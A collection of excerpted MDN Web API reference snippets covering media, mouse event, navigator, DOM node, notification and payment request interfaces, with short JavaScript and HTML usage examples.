... try again later."); break; case securityerror: shownotification("recording the specified source " + "is not allowed due to security " + "restrictions."); break; default: shownotification("a problem occurred while trying " + "to record the video."); break; } }; /* this would be a good place to create a worker to handle writing the buffers to disk periodically */ recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onerror' in that specification.
MediaSession - Web APIs
examples the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {});...
... navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } the following example sets up event handlers for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'mediasession' in that specification.
MediaSource.addSourceBuffer() - Web APIs
invalidstateerror the mediasource is not in the "open" readystate.
... example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //...
MediaSource.isTypeSupported() - Web APIs
all web apis that work with media files use a "no/maybe/probably" approach (or, in this case, "no or probably") when determining if a media type can be used.
... example the following snippet is from an example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //...
MediaStream.onaddtrack - Web APIs
example this example adds a listener which, when a new track is added to the stream, appends a new item to a list of tracks; the new item shows the track's kind ("audio" or "video") and label.
... stream.onaddtrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onaddtrack' in that specification.
MediaStreamTrack.enabled - Web APIs
for example, the green "in use" light next to the camera in imac and macbook computers turns off while the track is muted in this way.
..."&#x25b6;&#xfe0f;" : "&#x23f8;&#xfe0f;"; myaudiotrack.enabled = newstate; } this creates a variable, newstate, which is the opposite of the current value of enabled, then uses that to select either the emoji character for the "play" icon or the character for the "pause" icon as the new innerhtml of the pause button's element.
MediaStreamTrack.onmute - Web APIs
example in this example, an onmute handler is established to set the content html of an element to display the "muted speaker" emoji.
... mytrack.onmute = function(evt) { playstateicon.innerhtml = "&#1f507;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onmute' in that specification.
MediaStreamTrack.readyState - Web APIs
syntax const state = track.readystate value it takes one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data.
... "ended" which indicates that the input is not giving any more data and will never provide new data.
MediaStreamTrackEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t...
...ext-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediastreamtrackevent" target="_top"><rect x="116" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediastreamtrackevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} the events based on this interface are addtrack and removetrack properties also inherits properties from its parent interface, event.
MediaTrackConstraints.displaySurface - Web APIs
for example, if your app needs to know that the surface being shared is a monitor or application—meaning that there's possibly a non-content backdrop—it can use code similar to this: let mayhavebackdropflag = false; let displaysurface = displaystream.getvideotracks()[0].getsettings().displaysurface; if (displaysurface === "monitor" || displaysurface ==="application") { mayhavebackdropflag = true; } following this code, mayhavebackdrop is true if the display surface contained in the stream is of type monitor or application; either of these may have non-content backdrop areas.
... later code can use this flag to determine whether or not to perform special processing, such as to remove or replace the backdrop, or to "cut" the individual display areas out of the received frames of video.
Media Capabilities API - Web APIs
if ('mediacapabilities' in navigator) { const audiofileconfiguration = { type : 'file', audio : { contenttype: "audio/mp3", channels: 2, bitrate: 132700, samplerate: 5200 } }; navigator.mediacapabilities.decodinginfo(audiofileconfiguration).then(result => { console.log('this configuration is ' + (result.supported ?
...'' : 'not ') + 'power efficient.') }) .catch(() => { console.log("decodinginfo error: " + contenttype) }); } media capabilities api concepts and usage there are a myriad of video and audio codecs.
Transcoding assets for Media Source Extensions - Web APIs
to check if the browser supports a particular container, you can pass a string of the mime type to the mediasource.istypesupported method: mediasource.istypesupported('audio/mp3'); // false mediasource.istypesupported('video/mp4'); // true mediasource.istypesupported('video/mp4; codecs="avc1.4d4028, mp4a.40.2"'); // true the string is the mime type of the container, optionally followed by a list of codecs.
... note: if "invalid duration specification for force_key_frames: 'expr:eq(mod(n" is displayed as an error message, modify mp4-dash-encode.py and remove two "'" from "-force_key_frames 'expr:eq(mod(n,%d),0)'".
MessageEvent.MessageEvent() - Web APIs
this defaults to an empty string ("") if not specified.
...this defaults to an empty string ("") if not specified.
MessageEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 13.333333333333334%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 80" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stro...
...ke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/messageevent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">messageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor messageevent() creates a new messageeve...
MouseEvent.button - Web APIs
WebAPIMouseEventbutton
0: main button pressed, usually the left button or the un-initialized state 1: auxiliary button pressed, usually the wheel button or the middle button (if present) 2: secondary button pressed, usually the right button 3: fourth button, typically the browser back button 4: fifth button, typically the browser forward button as noted above, buttons may be configured differently to the standard "left to right" layout.
... example html <button id="button" oncontextmenu="event.preventdefault();">click here with your mouse...</button> <p id="log"></p> javascript let button = document.queryselector('#button'); let log = document.queryselector('#log'); button.addeventlistener('mouseup', logmousebutton); function logmousebutton(e) { if (typeof e === 'object') { switch (e.button) { case 0: log.textcontent = 'left button clicked.'; break; case 1: log.textcontent = 'middle button clicked.'...
MouseEvent.buttons - Web APIs
0 : no button or un-initialized 1 : primary button (usually the left button) 2 : secondary button (usually the right button) 4 : auxiliary button (usually the mouse wheel button or middle button) 8 : 4th button (typically the "browser back" button) 16 : 5th button (typically the "browser forward" button) example this example logs the buttons property when you trigger a mousedown event.
... html <p>click anywhere with one or more mouse buttons.</p> <pre id="log">buttons: </pre> javascript let log = document.createtextnode('?'); // let log = new text('?'); function logbuttons(e) { log.data = `${e.buttons} (${e.type})`; // log.nodevalue= `${e.buttons} (${e.type})`; } document.addeventlistener('mouseup', logbuttons); document.addeventlistener('mousedown', logbuttons); // document.addeventlistener('mousemove', logbuttons); document.queryselector('#log').appendchild(log) result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.buttons' in that specification.
MouseEvent.clientX - Web APIs
see the "browser compatibility" section for details.
... html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clientx' in that specification.
MouseEvent.clientY - Web APIs
see the "browser compatibility" section for details.
... html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clienty' in that specification.
MouseEvent.screenX - Web APIs
see the "browser compatibility" section for details.
... html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result routing an event when you trap events on the window, document, or other roomy elements, you can get the coordinates of that event (e.g., a click) and route it properly, as the following example demonstrates: function checkclickmap(e) { if (e.screenx < 50) doredbutton(); if (50 <= e.screenx && e.screenx < 100) doyellowbutton(); if (e.screenx >= 100) do...
MouseEvent.screenY - Web APIs
see the "browser compatibility" section for details.
... html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'screeny' in that specification.
msPlayToPreferredSourceUri - Web APIs
a forward slash ("/") is appended to the uri string when it is sent over the network to a playto device.
... example <video src="http://www.contoso.com/videos/video.mp4" msplaytopreferredsourceuri="http://www.contoso.com/catalogid=1234" /> var video = document.createelement('video'); document.body.appendchild(video); video.src = "http://www.contoso.com/videos/video.mp4"; video.msplaytopreferredsourceuri = "http://www.contoso.com/catalogid=1234"; see also microsoft playready content access and protection technology is a set of technologies that can be used to distribute audio/video content more securely over a network, and help prevent the unauthorized use of this content.
MutationObserver.observe() - Web APIs
theoretically, this means that if you keep track of the mutationrecord objects describing the changes that occur, you should be able to "undo" the changes, rewinding the dom back to its initial state.
... // identify an element to observe const elementtoobserve = document.queryselector("#targetelementid"); // create a new instance of `mutationobserver` named `observer`, // passing it a callback function const observer = new mutationobserver(function() { console.log('callback that runs when observer is triggered'); }); // call `observe()` on that mutationobserver instance, // passing it the element to observe, and the options object observer.observe(elementtoobserve, {subtree: true, childlist: true}); specifications specification status comment domthe ...
MutationObserverInit.attributeOldValue - Web APIs
function callback(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": notifyuser("attribute name " + mutation.attributename + " changed to " + mutation.target[mutation.attributename] + " (was " + mutation.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new mutationobserver(callback); observer.observe(targetnode, { attributes: true, attributeoldvalue: t...
...for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue).
MutationObserverInit.attributes - Web APIs
function callback(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": notifyuser("attribute name " + mutation.attributename + " changed to " + mutation.target[mutation.attributename] + " (was " + mutation.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new mutationobserver(callback); observer.observe(targetnode, { attributes: true, attributeoldvalue: t...
...for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue).
Navigator.doNotTrack - Web APIs
values of "1", "0", or "unspecified".
... example console.log(navigator.donottrack); // prints "1" if dnt is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified" specifications specification status comment tracking preference expression (dnt)the definition of 'navigator.donottrack' in that specification.
Navigator.getGamepads() - Web APIs
syntax var gamepads = navigator.getgamepads(); example window.addeventlistener("gamepadconnected", function(e) { var gp = navigator.getgamepads()[e.gamepad.index]; console.log( "gamepad connected at index %d: %s.
... %d buttons, %d axes.", gp.index, gp.id, gp.buttons.length, gp.axes.length ); }); specifications specification status comment gamepadthe definition of 'the gamepad api specification' in that specification.
Navigator.getUserMedia() - Web APIs
see {anch("errors")}} below for a list of the errors which can occur.
... navigator.mozgetusermedia; if (navigator.getusermedia) { navigator.getusermedia({ audio: true, video: { width: 1280, height: 720 } }, function(stream) { var video = document.queryselector('video'); video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); }; }, function(err) { console.log("the following error occurred: " + err.name); } ); } else { console.log("getusermedia not supported"); } ...
Navigator.registerProtocolHandler() - Web APIs
for example, you can register to handle sms text message links by passing the "sms" scheme.
... otherwise, the scheme must be one of the following: bitcoin geo im irc ircs magnet mailto mms news nntp openpgp4fpr sip sms smsto ssh tel urn webcal wtai xmpp example if your site is burgers.example.com, you can register a protocol handler for it to handle web+burger: links, like so: navigator.registerprotocolhandler("web+burger", "https://burgers.example.com/?burger=%s", "burger handler"); this creates a handler that lets web+burger: links send the user to your site, inserting the accessed burger url into the %s placeholder.
Navigator.sendBeacon() - Web APIs
window.addeventlistener("unload", function logdata() { var xhr = new xmlhttprequest(); xhr.open("post", "/log", false); // third parameter of `false` means synchronous xhr.send(analyticsdata); }); this is what sendbeacon() replaces.
... window.addeventlistener("unload", function logdata() { navigator.sendbeacon("/log", analyticsdata); }); the beacon sends an http request via the post method, with all relevant cookies available when called.
Navigator.share() - Web APIs
WebAPINavigatorshare
files: a " frozenarray" representing the array of file to be shared.
...the javascript looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.textcontent = 'mdn shared successfully' } catch(err) { resultpara.textcontent = 'error: ' + err } }); sharing files to share files, first test for and call navigator.canshare().
Navigator.vendor - Web APIs
WebAPINavigatorvendor
the value of the navigator vendor property is always either "google inc.", "apple computer, inc.", or (in firefox) the empty string.
... syntax venstring = window.navigator.vendor value either "google inc.", "apple computer, inc.", or (in firefox) the empty string.
NavigatorID.platform - Web APIs
for example: "macintel", "win32", "freebsd i386", "webtv os" example console.log(navigator.platform); usage notes most browsers, including chrome, edge, and firefox 63 and later, return "win32" even if running on a 64-bit version of windows.
... internet explorer and versions of firefox prior to version 63 still report "win64".
NavigatorLanguage.language - Web APIs
examples of valid language codes include "en", "en-us", "fr", "fr-fr", "es-es", etc.
... note that in safari on ios prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc.
Node.firstChild - Web APIs
WebAPINodefirstChild
<p id="para-01"> <span>first span</span> </p> <script> var p01 = document.getelementbyid('para-01'); console.log(p01.firstchild.nodename); </script> in the above, the console will show '#text' because a text node is inserted to maintain the whitespace between the end of the opening <p> and <span> tags.
... <p id="para-01"><span>first span</span></p> <script> var p01 = document.getelementbyid('para-01'); console.log(p01.firstchild.nodename); </script> now the console will show 'span'.
Node.getRootNode() - Web APIs
WebAPINodegetRootNode
(see the full source code): <!-- source: https://github.com/jserz/js_piece/blob/master/dom/node/getrootnode()/demo/getrootnode.html --> <div class="js-parent"> <div class="js-child"></div> </div> <div class="js-shadowhost"></div> <script> // works on chrome 54+,opera 41+ var parent = document.queryselector('.js-parent'), child = document.queryselector('.js-child'), shadowhost = document.queryselector('.js-shadowhost'); console.log(parent.getrootnode().nodename); // #document console.log(child.getrootnode().nodename);...
... // #document // create a shadowroot var shadowroot = shadowhost.attachshadow({mode:'open'}); shadowroot.innerhtml = '<style>div{background:#2bb8aa;}</style>' + '<div class="js-shadowchild">content</div>'; var shadowchild = shadowroot.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #document </script> specifications specification status comment domthe definition of 'getrootnode()' in that specification.
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
html <div>this is the first element.</div> <div>this is the second element.</div> <div>this is the first element.</div> <p id="output"></p> css #output { width: 440px; border: 2px solid black; border-radius: 5px; padding: 10px; margin-top: 20px; display: block; } javascript let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 equals div 0: " + divlist[0].isequalnode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 equals div 1: ...
..." + divlist[0].isequalnode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 equals div 2: " + divlist[0].isequalnode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node.isequalnode' in that specification.
Node.isSameNode() - Web APIs
WebAPINodeisSameNode
html <div>this is the first element.</div> <div>this is the second element.</div> <div>this is the first element.</div> <p id="output"></p> css #output { width: 440px; border: 2px solid black; border-radius: 5px; padding: 10px; margin-top: 20px; display: block; } javascript let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 same as div 0: " + divlist[0].issamenode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 same as div 1:...
... " + divlist[0].issamenode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 same as div 2: " + divlist[0].issamenode(divlist[2]) + "<br/>"; results specifications specification status comment domthe definition of 'node: issamenode' in that specification.
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>.
... if (node.localname == "browser" && node.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
Node.nodeType - Web APIs
WebAPINodenodeType
examples different types of nodes document.nodetype === node.document_node; // true document.doctype.nodetype === node.document_type_node; // true document.createdocumentfragment().nodetype === node.document_fragment_node; // true var p = document.createelement("p"); p.textcontent = "once upon a time…"; p.nodetype === node.element_node; // true p.firstchild.nodetype === node.text_node; // true comments this example checks if the first node inside the document element is a comment, and displays a message if not.
... var node = document.documentelement.firstchild; if (node.nodetype !== node.comment_node) { console.warn("you should comment your code!"); } specifications specification status comment domthe definition of 'node.nodetype' in that specification.
Node.normalize() - Web APIs
WebAPINodenormalize
the node.normalize() method puts the specified node and all of its sub-tree into a "normalized" form.
... syntax element.normalize(); example let wrapper = document.createelement("div"); wrapper.appendchild( document.createtextnode("part 1 ") ); wrapper.appendchild( document.createtextnode("part 2 ") ); // at this point, wrapper.childnodes.length === 2 // wrapper.childnodes[0].textcontent === "part 1 " // wrapper.childnodes[1].textcontent === "part 2 " wrapper.normalize(); // now, wrapper.childnodes.length === 1 // wrapper.childnodes[0].textcontent === "part 1 part 2 " specifications specification status comment domthe definition of 'node: normalize' in that specification.
Node.prefix - Web APIs
WebAPINodeprefix
syntax string = node.prefix examples the following logs "x" to the console.
... <x:div onclick="console.log(this.prefix)"/> notes this will only work when a namespace-aware parser is used, i.e.
Node.removeChild() - Web APIs
WebAPINoderemoveChild
examples simple examples given this html: <div id="top"> <div id="nested"></div> </div> to remove a specified element when knowing its parent node: let d = document.getelementbyid("top"); let d_nested = document.getelementbyid("nested"); let throwawaynode = d.removechild(d_nested); to remove a specified element without having to specify its parent node: let node = document.getelementbyid("nested"); if (node.parentnode) { node.parentnode.
...removechild(node); } to remove all children from an element: let element = document.getelementbyid("top"); while (element.firstchild) { element.removechild(element.firstchild); } causing a typeerror <!--sample html code--> <div id="top"> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // throws uncaught typeerror let garbage = top.removechild(nested); </script> causing a notfounderror <!--sample html code--> <div id="top"> <div id="nested"></div> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // this first call correctly removes the node let garbage = top.removechild(nested); // throws uncaught ...
Node.replaceChild() - Web APIs
WebAPINodereplaceChild
example // given: // <div> // <span id="childspan">foo bar</span> // </div> // create an empty element node // without an id, any attributes, or any content var sp1 = document.createelement("span"); // give it an id attribute called 'newspan' sp1.id = "newspan"; // create some content for the new element.
... var sp1_content = document.createtextnode("new replacement span element."); // apply that content to the new element sp1.appendchild(sp1_content); // build a reference to the existing node to be replaced var sp2 = document.getelementbyid("childspan"); var parentdiv = sp2.parentnode; // replace existing node sp2 with the new span element sp1 parentdiv.replacechild(sp1, sp2); // result: // <div> // <span id="newspan">new replacement span element.</span> // </div> specifications specification status comment domthe definition of 'node: replacechild' in that specification.
Node.textContent - Web APIs
WebAPINodetextContent
examples given this html fragment: <div id="diva">this is <span>some</span> text!</div> ...
...or set the element's text content: document.getelementbyid('diva').textcontent = 'this text is different!'; // the html for diva is now: // <div id="diva">this text is different!</div> specifications specification status comment domthe definition of 'node.textcontent' in that specification.
NodeFilter.acceptNode() - Web APIs
the children of rejected nodes are not visited by the nodeiterator or treewalker object; this value is treated as "skip this node and all its children".
...this is treated as "skip this node but not its children".
NonDocumentTypeChildNode.nextElementSibling - Web APIs
syntax var nextnode = elementnodereference.nextelementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <script type="text/javascript"> var el = document.getelementbyid('div-01').nextelementsibling; console.log('siblings of div-01:'); while (el) { console.log(el.nodename); el = el.nextelementsibling; } </script> this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snipp...
...et can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("nextelementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "nextelementsibling", { get: function(){ var e = this.nextsibling; while(e && 1 !== e.nodetype) e = e.nextsibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/nextelementsibling/nextelementsibling.md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('nextelementsibling')) { return; } object.defineproperty(item, 'nextelementsibling', { co...
NonDocumentTypeChildNode.previousElementSibling - Web APIs
syntax prevnode = elementnodereference.previouselementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <li>this is a list item</li> <li>this is another list item</li> <div id="div-03">here is div-03</div> <script> let el = document.getelementbyid('div-03').previouselementsibling; document.write('<p>siblings of div-03</p><ol>'); while (el) { document.write('<li>' + el.nodename + '</li>'); el = el.previouselementsibling; } document.write('</ol>'); </script> this example outputs the following into the pa...
...div polyfills polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("previouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "previouselementsibling", { get: function(){ var e = this.previoussibling; while(e && 1 !== e.nodetype) e = e.previoussibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/previouselementsibling/previouselementsibling.md (function (a...
Notification.permission - Web APIs
function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { console.log("this browser does not support desktop notification"); } // let's check whether notification permissions have alredy been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else ...
...if (notification.permission !== 'denied' || notification.permission === "default") { notification.requestpermission(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the user has denied notifications, and you // want to be respectful there is no need to bother them any more.
Notification.requestPermission() - Web APIs
possible values for this string are: granted denied default examples assume this basic html: <button onclick="notifyme()">notify me!</button> it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.
... function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { alert("this browser does not support desktop notification"); } // let's check whether notification permissions have already been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== "denied") { notification.requestpermission().then(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the user has den...
Notification - Web APIs
examples assume this basic html: <button onclick="notifyme()">notify me!</button> it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.
... function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { alert("this browser does not support desktop notification"); } // let's check whether notification permissions have already been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== "denied") { notification.requestpermission().then(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the user has den...
NotificationAction - Web APIs
here a service worker shows a notification with a single "archive" action, allowing users to perform this common task from the notification without having to open the website.
... self.registration.shownotification("new mail from alice", { actions: [ { action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status comment notifications api living standard living standard ...
OES_vertex_array_object - Web APIs
in webgl2, the functionality of this extension is available on the webgl2 context by default and the constants and methods are available without the "oes" suffix.
...// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
OscillatorNode - Web APIs
standard values are "sine", "square", "sawtooth", "triangle" and "custom".
... the default is "sine".
Path2D() - Web APIs
WebAPIPath2DPath2D
<canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let path1 = new path2d(); path1.rect(10, 10, 100,100); let path2 = new path2d(path1); path2.moveto(220, 60); path2.arc(170, 60, 50, 0, 2 * math.pi); ctx.stroke(path2); using svg paths this example creates a path2d path using svg path data.
... <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let p = new path2d('m10 10 h 80 v 80 h -80 z'); ctx.fill(p); specification specification status comment html living standardthe definition of 'path2d()' in that specification.
PaymentAddress.country - Web APIs
some examples of valid country values: "us", "gb", "cn", or "jp".
... syntax var paymentcountry = paymentaddress.country; value a domstring which contains the iso3166-1 alpha-2 code identifying the country in which the address is located, or an empty string if no country is available, which frequently can be assumed to mean "same country as the site owner." usage notes if the payment handler validates the address and determines that the value of country is invalid, a call to paymentrequestupdateevent.updatewith() will be made with a details object containing a shippingaddresserrors field.
PaymentMethodChangeEvent.methodName - Web APIs
the default value is the empty string, "".
... request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent interface of the payment request api describes the paymentmethodchange event which is fired by some payment handlers when the user switches payment instruments (e.g., a user selects a "store" card to make a purchase while using apple pay).
...the default value is the empty string, "".
PaymentRequest.canMakePayment() - Web APIs
async function initpaymentrquest() { const details = { total: { label: "total", amount: { currency: "usd", value: "0.00", }, }, }; const supportsapplepay = new paymentrequest( [{ supportedmethods: "https://apple.com/apple-pay" }], details ).canmakepayment(); // supports apple pay?
...let's see if we can use basic card const supportsbasiccard = await new paymentrequest( [{ supportedmethods: "basic-card" }], details ).canmakepayment(); if (supportsbasiccard) { // show basic card support return; } // otherwise, make payments using html form element } specifications specification status comment payment request apithe definition of 'canmakepayment()' in that specification.
PaymentRequest: paymentmethodchange event - Web APIs
const options = { requestshipping: true }; const paymentrequest = new paymentrequest(paymentmethods, detailsforshipping("ground"), options); paymentrequest.addeventlistener("paymentmethodchange", handlepaymentchange, false); paymentrequest.show() .then(response => response.complete("success")) .catch(err => console.log("error handling payment request: " + err)); the event handler function itself, handlepaymentchange(), looks like this: handlepaymentchange = event => { const detailsupdate = {}; if (event.me...
